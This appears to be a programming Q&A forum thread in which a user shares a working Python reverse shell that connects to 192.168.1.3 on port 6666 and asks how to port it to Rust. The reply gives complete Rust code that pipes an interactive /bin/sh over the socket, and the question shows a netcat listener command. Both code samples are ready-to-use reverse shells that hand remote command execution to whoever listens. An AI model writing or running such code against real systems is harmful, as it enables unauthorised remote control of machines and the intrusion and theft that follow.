3

One can create a reverse shell using Python with the following code sample if the machine with the IP address is listening on the given port:

import socket, subprocess, os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((\"192.168.1.3\", 6666));

os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);

p=subprocess.call([\"/bin/sh\", \"-i\"]);

I am trying to duplicate this process with Rust:

let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").expect("Couldn't connect to the server...");

I only got as far as getting a TCP connection to my host machine (listening with netcat: nc -l -p 6666). If I understand correctly, I need to redirect standard input, output, and error, through the socket and then somehow "call" /bin/sh (should I use /bin/bash?). I am relatively new to networking and I don't understand many of the concepts.

Could someone help me create this reverse shell script in Rust?

0

The equivalent of your Python reverse shell in Rust would be:

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
    let s = TcpStream::connect("192.168.1.3:6666").unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}

Your Answer

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.